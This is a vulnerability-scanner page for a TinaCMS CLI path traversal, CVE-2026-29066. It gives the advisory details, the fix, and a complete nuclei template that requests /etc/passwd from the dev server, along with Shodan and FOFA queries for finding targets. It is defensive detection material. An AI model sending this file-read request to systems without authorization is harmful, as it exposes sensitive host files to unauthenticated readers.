TinaCMS - Path Traversal

mediumseverity

6.2CVSS score

1.1%likelihood of exploitation, next 30 days

66%of all CVEs are less likely

Readycheck to confirm it

TinaCMS CLI < 2.1.8 contains a file system read vulnerability caused by disabled Vite server.fs.strict setting, letting unauthenticated attackers read arbitrary files on the host system, exploit requires access to the dev server.

Impact

Unauthenticated attackers can read arbitrary files on the host system, potentially exposing sensitive information.

Fix

Update to version 2.1.8 or later.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "tina-tailwind" AND status 200
Send: GET {{BaseURL}}/etc/passwd
Positive when: contains "root:x:0:0" AND status 200

Run it with nuclei: nuclei -id CVE-2026-29066 -u <target>

The full check

id: CVE-2026-29066

info:
  name: TinaCMS - Path Traversal
  author: theamanrawat
  severity: medium
  description: |
    TinaCMS CLI < 2.1.8 contains a file system read vulnerability caused by disabled Vite server.fs.strict setting, letting unauthenticated attackers read arbitrary files on the host system, exploit requires access to the dev server.
  impact: |
    Unauthenticated attackers can read arbitrary files on the host system, potentially exposing sensitive information.
  remediation: |
    Update to version 2.1.8 or later.
  reference:
    - https://github.com/tinacms/tinacms/security/advisories/GHSA-m48g-4wr2-j2h6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29066
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.2
    cve-id: CVE-2026-29066
    epss-score: 0.0111
    epss-percentile: 0.66205
    cwe-id: CWE-200
  metadata:
    verified: true
    max-requests: 3
    vendor: tinacms
    product: tinacms
    shodan-query: http.title:"TinaCMS"
    fofa-query: body="TinaCMS" || body="tinacms"
  tags: cve,cve2026,tinacms,lfi,vuln,unauthenticated

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "tina-tailwind"
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/etc/passwd"

    host-redirects: true
    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "root:x:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from